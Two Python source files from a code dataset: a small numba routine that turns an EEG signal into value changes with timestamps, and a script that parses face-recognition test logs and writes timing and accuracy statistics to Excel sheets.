+{"seq_id":"565060337","text":"import numpy as np\nfrom numba import jit, float64, void, int64\n\n@jit(int64(int64[:],int64[:],int64[:]))\ndef __astimed(xs,ys,ts):\n ys[0] = xs[0]\n ts[0] = 0\n last = xs[0]\n count = 1\n\n for i in range(len(xs)):\n if xs[i] != last:\n ys[count] = xs[i]\n ts[count] = i\n count += 1\n last = xs[i]\n\n return count\n\ndef astimed(xs,sr):\n ys = np.zeros(xs.shape,'int64')\n ts = np.zeros(xs.shape,'int64')\n count = __astimed(xs,ys,ts)\n return ys[0:count], ts[0:count] / float(sr)\n","sub_path":"analysis/eeg/src/astimed.py","file_name":"astimed.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"12077309","text":"# -*- coding: utf-8 -*-\n\"\"\"\nLanguage: python3\nGoal: Parse Face Recognization results\n\"\"\"\nimport os\nimport sys\nimport time\nfrom concurrent.futures import ProcessPoolExecutor, wait\nfrom openpyxl import load_workbook\nfrom openpyxl import Workbook\nfrom openpyxl.utils import get_column_letter\n\nprint(sys.version)\nprint(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime()))\n\n### Defs region\nclass RecgInfo:\n # __slots__ = (\"startRecg\", \"endRecg\", \"endParse\", \"recgCost\", \"recgStatus\",\n # \"score\", \"parseCost\")\n def __init__(self):\n self.startRecg = None\n self.endRecg = None\n self.endParse = None\n self.recgCost = None\n\n self.recgStatus = None\n self.score = None\n self.parseCost = None\n self.recgIsValid = None\n\n def printResult(self):\n if (None != self.startRecg):\n print(\"startRecgTime:\\t\" + str(self.startRecg))\n else:\n print(\"startRecgTime:\\tnull\")\n if (None != self.endRecg):\n print(\"endRecgTime:\\t\" + str(self.endRecg))\n else:\n print(\"endRecgTime:\\tnull\")\n if (None != self.endParse):\n print(\"endParseTime:\\t\" + str(self.endParse))\n else:\n print(\"endParseTime:\\tnull\")\n if (None != self.startRecg and None != self.endRecg):\n self.recgCost = self.endRecg - self.startRecg\n print(\"recgCost:\\t\\t\" + str(self.recgCost))\n else:\n print(\"recgCost:\\t\\tnull\")\n\n if (None != self.endParse and None != self.endRecg):\n self.parseCost = self.endParse - self.endRecg\n print(\"parseCost:\\t\\t\" + str(self.parseCost))\n else:\n print(\"parseCost:\\t\\tnull\")\n if (None != self.recgStatus):\n print(\"recgStatus:\\t\\t\" + self.recgStatus)\n else:\n print(\"recgStatus:\\t\\tnull\")\n if (None != self.score):\n print(\"score:\\t\\t\\t\" + str(self.score))\n else:\n print(\"score:\\t\\t\\tnull\")\n\nclass LogInfo:\n # __slots__ = (\"frameID\", \"caseID\", \"loadCost\", \"loadFile\", \"detCost\",\n # \"detNum\")\n def __init__(self, mFrameID, iFileID, iFileSN):\n self.frameID = mFrameID\n self.fileID = iFileID\n self.fileSN = iFileSN\n self.caseID = None\n self.__startTime = None\n self.__endTime = None\n self.__endStatus = None\n self.totalCost = None\n\n self.__startLoad = None\n self.__endLoad = None\n self.loadCost = None\n self.loadFile = None\n\n self.__startDet = None\n self.__endDet = None\n self.detCost = None\n self.detNum = None\n\n self.__recg = RecgInfo()\n\n def setST(self, startTime):\n self.__startTime = startTime\n self.__startLoad = startTime\n\n def setET(self, endTime, mEndStatus):\n if (None == self.__endTime):\n self.__endTime = endTime\n self.__endStatus = mEndStatus\n elif (endTime > self.__endTime):\n self.__endTime = endTime\n self.__endStatus = mEndStatus\n\n def setRecgValid(self, fIsValid):\n self.__recg.recgIsValid = fIsValid\n\n def setEL(self, endLoad, mCaseID, fileName):\n self.__endLoad = endLoad\n self.caseID = mCaseID\n self.loadFile = fileName\n\n def setSD(self, startDet):\n self.__startDet = startDet\n\n def setED(self, endDet, mDetNum):\n self.__endDet = endDet\n self.detNum = mDetNum\n\n def setSR(self, startRecg):\n if (None == self.__recg.startRecg):\n self.__recg.startRecg = startRecg\n\n def setER(self, endRecg):\n if (None == self.__recg.endRecg):\n self.__recg.endRecg = endRecg\n\n def setEP(self, endParse, mRecgStatus, mScore):\n if (None == self.__recg.endParse):\n self.__recg.endParse = endParse\n self.__recg.recgStatus = mRecgStatus\n self.__recg.score = mScore\n elif (mScore > self.__recg.score):\n self.__recg.endParse = endParse\n self.__recg.recgStatus = mRecgStatus\n self.__recg.score = mScore\n\n def getEndStatus(self):\n return self.__endStatus\n\n def getStartTime(self):\n return self.__startTime\n\n def getEndTime(self):\n return self.__endTime\n\n def getRecogResult(self):\n return self.__recg\n\n def printResult(self):\n if (None != self.__startTime and None != self.__endTime):\n self.totalCost = self.__endTime - self.__startTime\n print(\"totalCost:\\t\\t\" + str(self.totalCost))\n else:\n print(\"loadCost:\\t\\tnull\")\n if (None != self.frameID):\n print(\"frameID:\\t\\t\" + str(self.frameID))\n else:\n print(\"frameID:\\t\\tnull\")\n if (None != self.caseID):\n print(\"caseID:\\t\\t\\t\" + self.caseID)\n else:\n print(\"caseID:\\t\\t\\tnull\")\n if (None != self.__startTime):\n print(\"startTime:\\t\\t\" + str(self.__startTime))\n else:\n print(\"startTime:\\t\\tnull\")\n if (None != self.__endTime):\n print(\"endTime:\\t\\t\" + str(self.__endTime))\n else:\n print(\"endTime:\\t\\tnull\")\n if (None != self.__endStatus):\n print(\"endStatus:\\t\\t\" + self.__endStatus)\n else:\n print(\"endStatus:\\t\\tnull\")\n\n if (None != self.__startLoad):\n print(\"startLoadTime:\\t\" + str(self.__startLoad))\n else:\n print(\"startLoadTime:\\tnull\")\n if (None != self.__endLoad):\n print(\"endLoadTime:\\t\" + str(self.__endLoad))\n else:\n print(\"endLoadTime:\\tnull\")\n if (None != self.__startLoad and None != self.__endLoad):\n self.loadCost = self.__endLoad - self.__startLoad\n print(\"loadCost:\\t\\t\" + str(self.loadCost))\n else:\n print(\"loadCost:\\t\\tnull\")\n if (None != self.loadFile):\n print(\"loadFile:\\t\\t\" + self.loadFile)\n else:\n print(\"loadFile:\\t\\tnull\")\n\n if (None != self.__startDet):\n print(\"startDetTime:\\t\" + str(self.__startDet))\n else:\n print(\"startDetTime:\\tnull\")\n if (None != self.__endDet):\n print(\"endDetTime:\\t\\t\" + str(self.__endDet))\n else:\n print(\"endDetTime:\\t\\tnull\")\n if (None != self.__startDet and None != self.__endDet):\n self.detCost = self.__endDet - self.__startDet\n print(\"detCost:\\t\\t\" + str(self.detCost))\n else:\n print(\"detCost:\\t\\tnull\")\n if (None != self.detNum):\n print(\"detNum:\\t\\t\\t\" + str(self.detNum))\n else:\n print(\"detNum:\\t\\t\\tnull\")\n self.__recg.printResult()\n print(os.linesep)\n\nclass CaseInfo:\n def __init__(self, name, mQuitLastTime, mRemainInRecgQueue, \\\n mIsLastRecgBack, iFaceOccurTime):\n self.objName = name\n self.quitLastTime = mQuitLastTime\n self.remainInRecgQueue = mRemainInRecgQueue\n self.isLastRecgBack = mIsLastRecgBack\n self.firstFaceOccurTime = iFaceOccurTime\n self.firstDetTime = None\n self.firstParseTime = None\n\n self.skipFrames = 0\n self.allFrames = 0\n self.detFrames = 0\n self.recgFrames = 0\n self.recgValidFrames = 0\n\n self.detAvgCost = 0\n self.recgAvgCost = 0\n self.recgValidAvgCost = 0\n self.recgInvalidAvgCost = 0\n self.parseAvgCost = 0\n self.loadAvgCost = 0\n\n self.detMaxCost = 0\n self.recgMaxCost = 0\n self.recgValidMaxCost = 0\n self.recgInvalidMaxCost = 0\n self.parseMaxCost = 0\n self.loadMaxCost = 0\n\n self.recgAllAvgTime = {}\n self.recgAvgScore = {}\n self.recgIDs = {}\n self.recgSuccess = 0\n self.recgCorrectTime = []\n\n def setIsLastRecgBack(self, mIsLastRecgBack):\n self.isLastRecgBack = mIsLastRecgBack\n\n def printResult(self, mWorkSheet, mCase):\n if (None == self.objName):\n return\n mWorkSheet.title = self.objName\n writeExcel = []\n writeExcel0Add = []\n writeExcel.append(mCase)\n print(\"objName: \" + self.objName)\n\n writeExcel.append(str(self.skipFrames + self.allFrames))\n print(\"allFrames: \" + str(self.skipFrames + self.allFrames))\n\n writeExcel.append(str(self.allFrames))\n print(\"allInputFrames: \" + str(self.allFrames))\n\n writeExcel.append(str(self.detFrames))\n print(\"detFrames: \" + str(self.detFrames))\n\n writeExcel.append(str(self.recgFrames))\n print(\"recgNum: \" + str(self.recgFrames))\n\n writeExcel.append(str(self.recgValidFrames))\n print(\"recgValidNum: \" + str(self.recgValidFrames))\n\n if 0 == self.recgFrames:\n tmpI = \"NA\"\n else:\n tmpI = round(self.recgValidFrames / float(self.recgFrames), 1)\n writeExcel.append(str(tmpI))\n print(\"recgValidRatio: \" + str(tmpI))\n\n writeExcel.append(str(self.loadMaxCost))\n print(\"loadMaxCost: \" + str(self.loadMaxCost))\n\n writeExcel.append(str(self.detMaxCost))\n print(\"detMaxCost: \" + str(self.detMaxCost))\n\n if (0 == self.recgMaxCost):\n tmpI = \"NA\"\n else:\n tmpI = self.recgMaxCost\n writeExcel.append(str(tmpI))\n print(\"recgMaxCost: \" + str(tmpI))\n\n if (0 == self.recgValidMaxCost):\n tmpI = \"NA\"\n else:\n tmpI = self.recgValidMaxCost\n writeExcel.append(str(tmpI))\n print(\"recgValidMaxCost: \" + str(tmpI))\n\n if (0 == self.recgInvalidMaxCost):\n tmpI = \"NA\"\n else:\n tmpI = self.recgInvalidMaxCost\n writeExcel.append(str(tmpI))\n print(\"recgInvalidMaxCost: \" + str(tmpI))\n\n if (0 == self.parseMaxCost):\n writeExcel.append(\"NA\")\n print(\"parseMaxCost: NA\")\n else:\n writeExcel.append(str(self.parseMaxCost))\n print(\"parseMaxCost: \" + str(self.parseMaxCost))\n\n if \"NA\" != self.loadAvgCost and 0 != self.loadAvgCost:\n tmpI = int(self.loadAvgCost)\n else:\n tmpI = \"NA\"\n writeExcel.append(str(tmpI))\n print(\"loadAvgCost: \" + str(tmpI))\n\n if \"NA\" != self.detAvgCost and 0 != self.detAvgCost:\n tmpI = int(self.detAvgCost)\n else:\n tmpI = \"NA\"\n writeExcel.append(str(tmpI))\n print(\"detAvgCost: \" + str(tmpI))\n\n if \"NA\" != self.recgAvgCost and 0 != self.recgAvgCost:\n tmpI = int(self.recgAvgCost)\n else:\n tmpI = \"NA\"\n writeExcel.append(str(tmpI))\n print(\"recgAvgCost(contain recg failed cases): \" + str(tmpI))\n\n if \"NA\" != self.recgValidAvgCost and 0 != self.recgValidAvgCost:\n tmpI = int(self.recgValidAvgCost)\n else:\n tmpI = \"NA\"\n writeExcel.append(str(tmpI))\n print(\"recgValidAvgCost: \" + str(tmpI))\n\n if \"NA\" != self.recgInvalidAvgCost and 0 != self.recgInvalidAvgCost:\n tmpI = int(self.recgInvalidAvgCost)\n else:\n tmpI = \"NA\"\n writeExcel.append(str(tmpI))\n print(\"recgInvalidAvgCost: \" + str(tmpI))\n\n if (0 == self.parseAvgCost) or (\"NA\" == self.parseAvgCost):\n writeExcel.append(\"NA\")\n print(\"parseAvgCost: NA\")\n else:\n writeExcel.append(str(int(self.parseAvgCost)))\n print(\"parseAvgCost: \" + str(round(self.parseAvgCost, 0)))\n\n # firstDetTime firstFaceOccurTime\n if (None != self.firstFaceOccurTime and None != self.firstParseTime):\n tmp0I = self.firstParseTime - self.firstFaceOccurTime\n writeExcel.append(str(tmp0I))\n print(\"RecgFeelCost: \" + str(tmp0I))\n else:\n writeExcel.append(\"NA\")\n print(\"RecgFeelCost: NA\")\n\n if (None != self.firstFaceOccurTime and None != self.firstDetTime):\n tmp0I = self.firstDetTime - self.firstFaceOccurTime\n writeExcel.append(str(tmp0I))\n print(\"DetFeelCost: \" + str(tmp0I))\n else:\n writeExcel.append(\"NA\")\n print(\"DetFeelCost: NA\")\n\n if (None != self.firstParseTime and None != self.firstDetTime):\n tmp0I = self.firstParseTime - self.firstDetTime\n writeExcel.append(str(tmp0I))\n print(\"FeelCost: \" + str(tmp0I))\n else:\n writeExcel.append(\"NA\")\n print(\"FeelCost: NA\")\n\n for it in self.recgIDs.keys():\n if (-1 != it.find(self.objName)):\n self.recgSuccess = self.recgIDs.get(it)\n tmp0F = self.recgAvgScore.get(it) / float(self.recgIDs.get(it))\n tmp0F = int(tmp0F)\n tmp1F = self.recgAllAvgTime.get(it) / float(self.recgIDs.get(it))\n tmp1F = int(tmp1F)\n print(it + \" num: \" + str(self.recgIDs.get(it)) \\\n + \"\\naverage score: \" + str(tmp0F) \\\n + \"\\naverage recgAllTime: \" + str(tmp1F))\n writeExcel0Add.append(it)\n writeExcel0Add.append(str(self.recgIDs.get(it)))\n writeExcel0Add.append(str(tmp0F))\n writeExcel0Add.append(str(tmp1F))\n\n if (0 == self.recgValidFrames):\n writeExcel.append(\"NA\")\n print(\"recgSuccessRate: NA\")\n else:\n tmp0F = round(self.recgSuccess / float(self.recgValidFrames), 2)\n writeExcel.append(str(tmp0F))\n print(\"recgSuccessRate: \" + str(tmp0F))\n\n writeExcel.append(str(self.quitLastTime))\n print(\"quitLastTime: \" + str(self.quitLastTime))\n writeExcel.append(str(self.remainInRecgQueue))\n print(\"remainInRecgQueue: \" + str(self.remainInRecgQueue))\n writeExcel.append(str(self.isLastRecgBack))\n print(\"isLastRecgBack: \" + str(self.isLastRecgBack))\n\n ifs = 0\n iss = 0\n its = 0\n tmpImin = sys.maxsize\n tmpIminFile = None\n tmpIminSN = None\n for it in self.recgCorrectTime:\n tmp0I = it[0] - self.firstFaceOccurTime\n if tmp0I < tmpImin:\n tmpImin = tmp0I\n tmpIminFile = it[1]\n tmpIminSN = it[2]\n\n if tmp0I < 2000:\n ifs += 1\n elif tmp0I < 5000:\n iss += 1\n elif tmp0I < 15000:\n its += 1\n\n if (sys.maxsize == tmpImin):\n tmpImin = \"NA\"\n if (None == tmpIminFile):\n tmpIminFile = \"NA\"\n if (None == tmpIminSN):\n tmpIminSN = \"NA\"\n\n writeExcel.append(str(ifs))\n writeExcel.append(str(iss + ifs))\n writeExcel.append(str(its + iss + ifs))\n writeExcel.append(str(tmpImin))\n # writeExcel.append(str(len(self.recgCorrectTime)))\n writeExcel.append(str(tmpIminFile))\n writeExcel.append(str(tmpIminSN))\n\n ColNum = None\n for letter in range(2, 100):\n ColNum = get_column_letter(letter)\n if (None == mWorkSheet[ColNum + '1'].value):\n break\n for idx in range(1, len(writeExcel) + 1):\n mWorkSheet[ColNum + str(idx)] = writeExcel[idx - 1]\n startIdx = len(writeExcel) + 2\n endIdx = startIdx + len(writeExcel0Add)\n for idx in range(startIdx, endIdx, 4):\n if (-1 != writeExcel0Add[idx - startIdx].find(\"NA\")):\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx] \\\n + \"-invalid\"\n elif (-1 != writeExcel0Add[idx - startIdx].find(self.objName)):\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx] \\\n + \"-correct\"\n else:\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx] \\\n + \"-error\"\n mWorkSheet['A' + str(idx)] = \"识别结果\"\n idx += 1\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx]\n mWorkSheet['A' + str(idx)] = \"次数\"\n idx += 1\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx]\n mWorkSheet['A' + str(idx)] = \"平均分数\"\n idx += 1\n mWorkSheet[ColNum + str(idx)] = writeExcel0Add[idx - startIdx]\n mWorkSheet['A' + str(idx)] = \"平均识别全程耗时(ms)\"\n\ndef printDict(myDict):\n for it in myDict.keys():\n obj = myDict.get(it)\n obj.printResult()\n\ndef getCaseDict(myDict, mNameCaseDict, mOriList, iCaseFfoTsDict):\n s = {}\n for it in myDict.keys():\n name = None\n cID = myDict.get(it).caseID\n if cID not in s.keys():\n for x in mNameCaseDict.keys():\n if cID in mNameCaseDict.get(x):\n name = x\n if None != name:\n break\n\n tmp0S = None\n tmp1S = None\n tmp2S = None\n tmp3S = None\n tmp0I = None\n tmp1I = 0\n tmpImin = None\n for key in iCaseFfoTsDict.keys():\n if cID in key:\n tmp0S = cID + \"/\" + iCaseFfoTsDict[key]\n\n for line in mOriList:\n if ((-1 != line.find(\"quitCost: \")) and (-1 != line.find(cID))):\n tmpSplits = line.split(\" arrayRemain: \")\n tmp1S = tmpSplits[0].split(\"quitCost: \")[1]\n tmp2S = tmpSplits[1]\n\n if ((-1 != line.find(\"Running remains: \")) and (-1 != line.find(cID))):\n if tmp1I < int(line.split(\"frameID: \")[1].split(\" CaseIndex: \")[0]):\n tmp1I = int(line.split(\"frameID: \")[1].split(\" CaseIndex: \")[0])\n tmp3S = line.split(\"Running remains: \")[1]\n\n if -1 != line.find(\"/\" + cID + \"/\"):\n if None == tmpImin:\n tmpImin = int(line.split(\"|D||\")[0])\n else:\n tmpImin = min(tmpImin, int(line.split(\"|D||\")[0]))\n\n if -1 != line.find(tmp0S):\n tmp0I = int(line.split(\"|D||\")[0])\n\n if None == tmp0I:\n tmp0I = tmpImin\n\n if None == tmp3S:\n print(\"Old log~\")\n elif int(tmp3S) < int(tmp2S):\n tmp2S = tmp3S\n\n print(name)\n print(it)\n print(cID)\n print(tmp0I)\n s[cID] = CaseInfo(name, int(tmp1S), int(tmp2S), True, tmp0I)\n else:\n if \"recoStart\" == myDict.get(it).getEndStatus():\n s[cID].setIsLastRecgBack(False)\n else:\n s[cID].setIsLastRecgBack(True)\n return s\n\ndef writeCaseMap(mCaseDict, mInfoDict, mList, mWorkSheet):\n for x in mCaseDict.keys():\n objX = mCaseDict.get(x)\n for y in mList:\n if (-1 != y.find(\"status: loadingMiss\")) and (-1 != y.find(x)):\n objX.skipFrames += 1\n for x in mCaseDict.keys():\n print(\"CaseID: \" + x)\n detN = 0\n recgN = 0\n parseN = 0\n loadN = 0\n recgVN = 0\n recgIVN = 0\n objX = mCaseDict.get(x)\n for y in mInfoDict.keys():\n objY = mInfoDict.get(y)\n if (x == objY.caseID):\n objZ = objY.getRecogResult()\n objX.allFrames += 1\n if (0 < objY.detNum):\n objX.detFrames += 1\n if (None == objX.firstDetTime):\n objX.firstDetTime = objY.getStartTime()\n elif (objX.firstDetTime > objY.getStartTime()):\n objX.firstDetTime = objY.getStartTime()\n if (None != objZ.recgStatus):\n tmp = objZ.recgStatus\n objX.recgFrames += 1\n if (\"NA\" != tmp):\n objX.recgValidFrames += 1\n if (None == objX.firstParseTime):\n objX.firstParseTime = objY.getEndTime()\n elif (objX.firstParseTime > objY.getEndTime()):\n objX.firstParseTime = objY.getEndTime()\n if (tmp in objX.recgIDs):\n objX.recgIDs[tmp] = objX.recgIDs.get(tmp) + 1\n objX.recgAvgScore[tmp] = objX.recgAvgScore.get(tmp) \\\n + objZ.score\n objX.recgAllAvgTime[tmp] = objX.recgAllAvgTime.get(tmp) \\\n + objY.totalCost\n else:\n objX.recgIDs[tmp] = 1\n objX.recgAvgScore[tmp] = objZ.score\n objX.recgAllAvgTime[tmp] = objY.totalCost\n\n if (-1 != tmp.find(objX.objName)):\n objX.recgCorrectTime.append((int(objZ.endParse), \\\n objY.fileID, objY.fileSN))\n\n if (None != objY.loadCost):\n loadN += 1\n objX.loadAvgCost += objY.loadCost\n if (objX.loadMaxCost < objY.loadCost):\n objX.loadMaxCost = objY.loadCost\n if (None != objY.detCost):\n detN += 1\n objX.detAvgCost += objY.detCost\n if (objX.detMaxCost < objY.detCost):\n objX.detMaxCost = objY.detCost\n if (None != objY.getRecogResult().recgCost):\n recgN += 1\n objX.recgAvgCost += objY.getRecogResult().recgCost\n if (objX.recgMaxCost < objY.getRecogResult().recgCost):\n objX.recgMaxCost = objY.getRecogResult().recgCost\n if (objY.getRecogResult().recgIsValid):\n recgVN += 1\n objX.recgValidAvgCost += objY.getRecogResult().recgCost\n if (objX.recgValidMaxCost < objY.getRecogResult().recgCost):\n objX.recgValidMaxCost = objY.getRecogResult().recgCost\n else:\n recgIVN += 1\n objX.recgInvalidAvgCost += objY.getRecogResult().recgCost\n if (objX.recgInvalidMaxCost < objY.getRecogResult().recgCost):\n objX.recgInvalidMaxCost = objY.getRecogResult().recgCost\n\n if (None != objY.getRecogResult().parseCost):\n parseN += 1\n objX.parseAvgCost += objY.getRecogResult().parseCost\n if (objX.parseMaxCost < objY.getRecogResult().parseCost):\n objX.parseMaxCost = objY.getRecogResult().parseCost\n if (0 != loadN):\n objX.loadAvgCost /= float(loadN)\n else:\n objX.loadAvgCost = \"NA\"\n if (0 != detN):\n objX.detAvgCost /= float(detN)\n else:\n objX.detAvgCost = \"NA\"\n if (0 != recgN):\n objX.recgAvgCost /= float(recgN)\n else:\n objX.recgAvgCost = \"NA\"\n if (0 != recgVN):\n objX.recgValidAvgCost /= float(recgVN)\n else:\n objX.recgValidAvgCost = \"NA\"\n if (0 != recgIVN):\n objX.recgInvalidAvgCost /= float(recgIVN)\n else:\n objX.recgInvalidAvgCost = \"NA\"\n if (0 != parseN):\n objX.parseAvgCost /= float(parseN)\n else:\n objX.parseAvgCost = \"NA\"\n objX.printResult(mWorkSheet, x)\n print(os.linesep)\n\ndef concurrentJob(iObj, iOriList, iMark, iStr):\n # print(iObj.frameID)\n for mLine in iOriList:\n if (-1 != mLine.find(\"frameID: \" + str(iMark) + ' ')):\n if (-1 != mLine.find(\"recoBad\")):\n epTime = int(mLine.split(\"|D||\")[0])\n rs = \"NA\"\n confidence = float(-1)\n iObj.setEP(epTime, rs, confidence)\n iObj.setET(epTime, \"recoBad\")\n iObj.setRecgValid(False)\n elif (-1 != mLine.find(\"recoParse\")):\n epTime = int(mLine.split(\"|D||\")[0])\n rs = mLine.split(\" ID: \")[1].split(\" score:\")[0]\n confidence = float(mLine.split(\" score:\")[1])\n iObj.setEP(epTime, rs, confidence)\n iObj.setET(epTime, \"recoParse\")\n iObj.setRecgValid(True)\n elif (-1 != mLine.find(\"status: loadingStart\")):\n stTime = int(mLine.split(\"|D||\")[0])\n iObj.setST(stTime)\n iObj.setET(stTime, \"loadingStart\")\n elif (-1 != mLine.find(\"status: detectStart\")):\n sdTime = int(mLine.split(\"|D||\")[0])\n iObj.setSD(sdTime)\n iObj.setET(sdTime, \"detectStart\")\n elif (-1 != mLine.find(\"status: detectEnd\")):\n edTime = int(mLine.split(\"|D||\")[0])\n facesCnt = int(mLine.split(\"faceNum: \")[1])\n iObj.setED(edTime, facesCnt)\n iObj.setET(edTime, \"detectEnd\")\n elif (-1 != mLine.find(\"status: recoStart\")):\n srTime = int(mLine.split(\"|D||\")[0])\n iObj.setSR(srTime)\n iObj.setET(srTime, \"recoStart\")\n elif (-1 != mLine.find(\"status: recoEnd\")):\n erTime = int(mLine.split(\"|D||\")[0])\n iObj.setER(erTime)\n iObj.setET(erTime, \"recoEnd\")\n sys.stdout.write(iStr)\n sys.stdout.flush()\n return iMark, iObj\n\n### Params region\nxlsFileR = \"/home/devin/Desktop/TestResults/FrSet2018.xlsx\"\nxlsFileW = \"/home/devin/Desktop/TestResultXlsx/InterimData.xlsx\"\nsrcRoot = \"/home/devin/Desktop/TestResults/\"\ncheckList = [\"daiyi\", \"baoyuandong\", \"sunhaiyan\", \"xinglj\", \"peiyi\", \"zhuyawen\"]\ncheckList += [\"yukeke\", \"yanchangjian\", \"guangming\"]\n\nfuturesList = []\nexecutor = ProcessPoolExecutor(max_workers = 36)\n\n### Job region\nnameCaseDict = {}\ncaseFfoTsDict = {} # FfoTs: First face occurrence Time stamp\nif os.path.isfile(xlsFileR):\n wb = load_workbook(filename = xlsFileR)\nelse:\n print(\"No xls files for reading!!!\")\n sys.exit(0)\n\nprint(wb.sheetnames)\nfor it in wb.sheetnames:\n nameCase = []\n sheet = wb[it]\n for x in range(2, 46):\n tmp = sheet.cell(x, 5).value\n if (None != tmp):\n nameCase.append(str(tmp))\n tmpTuple = (it, str(tmp))\n caseFfoTsDict[tmpTuple] = str(sheet.cell(x, 7).value)\n nameCaseDict[it] = nameCase\n\n# print(\"caseFfoTsDict:\")\n# print(len(caseFfoTsDict.keys()))\n# for it in caseFfoTsDict.keys():\n# if (\"0830111811\" in it):\n# print(it)\n# print(caseFfoTsDict[it])\n# sys.exit(0)\n\n# print(\"nameCaseDict:\")\n# for it in nameCaseDict.keys():\n# print(it)\n# obj = nameCaseDict.get(it)\n# print(obj)\n# sys.exit(0)\n\nif os.path.isfile(xlsFileW):\n wb = load_workbook(filename = xlsFileW)\nelse:\n wb = Workbook()\n\nfor suffix in checkList:\n ws = wb.create_sheet(\"newsheet\", 0)\n ws[\"A1\"] = \"视频片段编号\"\n ws[\"A2\"] = \"视频片段总帧数\"\n ws[\"A3\"] = \"测试所用帧数\"\n ws[\"A4\"] = \"检测有效帧数\"\n ws[\"A5\"] = \"识别次(帧)数\"\n ws[\"A6\"] = \"有效识别次(帧)数\"\n ws[\"A7\"] = \"有效识别率\"\n ws[\"A8\"] = \"最大单帧加载耗时(ms)\"\n ws[\"A9\"] = \"最大单帧检测耗时(ms)\"\n ws[\"A10\"] = \"最大识别(含无效识别)耗时(ms)\"\n ws[\"A11\"] = \"最大有效识别耗时(ms)\"\n ws[\"A12\"] = \"最大无效识别耗时(ms)\"\n ws[\"A13\"] = \"最大解析耗时(ms)\"\n ws[\"A14\"] = \"平均单帧加载耗时(ms)\"\n ws[\"A15\"] = \"平均单帧检测耗时(ms)\"\n ws[\"A16\"] = \"平均识别(含无效识别)耗时(ms)\"\n ws[\"A17\"] = \"平均有效识别耗时(ms)\"\n ws[\"A18\"] = \"平均无效识别耗时(ms)\"\n ws[\"A19\"] = \"平均解析耗时(ms)\"\n ws[\"A20\"] = \"主观耗时(ms):首识别-人出现 时差\"\n ws[\"A21\"] = \"主观耗时(ms):首检测-人出现 时差\"\n ws[\"A22\"] = \"主观耗时(ms):首识别-首检测 时差\"\n ws[\"A23\"] = \"有效帧识别正确率\"\n ws[\"A24\"] = \"退出等待耗时(ms)\"\n ws[\"A25\"] = \"识别队列剩余\"\n ws[\"A26\"] = \"识别结果全返回\"\n ws[\"A27\"] = \"2秒内识别正确次数\"\n ws[\"A28\"] = \"5秒内识别正确次数\"\n ws[\"A29\"] = \"15秒内识别正确次数\"\n ws[\"A30\"] = \"识别正确-人出现 最短耗时\"\n ws[\"A31\"] = \"首正确识别测试帧\"\n ws[\"A32\"] = \"首正确识别测试帧序号\"\n\n ws.column_dimensions[get_column_letter(1)].width = 34\n for i in range(2, 40):\n ws.column_dimensions[get_column_letter(i)].width = 18\n\n singleRoot = srcRoot + suffix + '/'\n futuresList = []\n oriList = []\n infoDict = {}\n caseDict = {}\n if os.path.exists(singleRoot):\n for rt, dirs, files in os.walk(singleRoot):\n for name in files:\n print(\"ORI: \" + os.path.join(rt, name))\n with open(os.path.join(rt, name), 'r') as f:\n tmpList = f.readlines()\n for line in tmpList:\n oriList.append(line)\n for line in oriList:\n if -1 != line.find(\"file: \"):\n tmpStr = line.split(\"file: \")[1].split(\" status:\")[0]\n if (\"null\" == tmpStr):\n print(\"One case finish~\")\n else:\n elTime = int(line.split(\"|D||\")[0])\n dictKey = int(line.split(\"frameID: \")[1].split(\"file: \")[0])\n cID = line.split(\"/\")[3]\n fn = line.split(\"/\")[4].split(\" status:\")[0]\n sn = int(line.split(\"fileSN: \")[-1])\n tmpStr = tmpStr.split(\"/\")[-1]\n tmpObj = LogInfo(dictKey, tmpStr, sn)\n tmpObj.setEL(elTime, cID, fn)\n tmpObj.setET(elTime, \"loadingEnd\")\n infoDict[dictKey] = tmpObj\n else:\n print(\"No Source!!!\")\n sys.exit(0)\n\n index = 0\n for it in infoDict.keys():\n index += 1\n tmpS = \"\\r\" + str(index) + '/' + str(len(infoDict.keys()))\n obj = infoDict.get(it)\n future = executor.submit(concurrentJob, obj, oriList, it, tmpS)\n futuresList.append(future)\n\n wait(futuresList)\n for future in futuresList:\n tmpT = future.result()\n infoDict[tmpT[0]] = tmpT[1]\n\n printDict(infoDict)\n caseDict = getCaseDict(infoDict, nameCaseDict, oriList, caseFfoTsDict)\n writeCaseMap(caseDict, infoDict, oriList, ws)\n\n print(\"Lines in all files: \" + str(len(oriList)))\n print(\"Valid frames num: \" + str(len(infoDict)))\n\nwbws = wb.create_sheet(\"caseIndex\", 0)\nfor i in range(1, 5):\n wbws.column_dimensions[get_column_letter(i)].width = 6\nfor i in range(5, 40):\n wbws.column_dimensions[get_column_letter(i)].width = 14\n\nwbl = load_workbook(filename = xlsFileR)\nsheet = wbl[wbl.sheetnames[0]]\nfor row in range(1, 46):\n for col in range(1, 5):\n wbws.cell(row, col).value = sheet.cell(row, col).value\n\nfor it in wbl.sheetnames:\n sheet = wbl[it]\n addEntriesCol = wbws.max_column + 1\n addEntriesRow = 1\n wbws.cell(addEntriesRow, addEntriesCol).value = it\n for thing in sheet['E2' : 'E45']:\n addEntriesRow += 1\n wbws.cell(addEntriesRow, addEntriesCol).value = thing[0].value\n\nwb.save(xlsFileW)\n\nprint(os.linesep)\nprint(time.strftime('%Y-%m-%d %H:%M:%S', time.localtime()))","sub_path":"jobTool/AutoFrTestParse.py","file_name":"AutoFrTestParse.py","file_ext":"py","file_size_in_byte":31275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
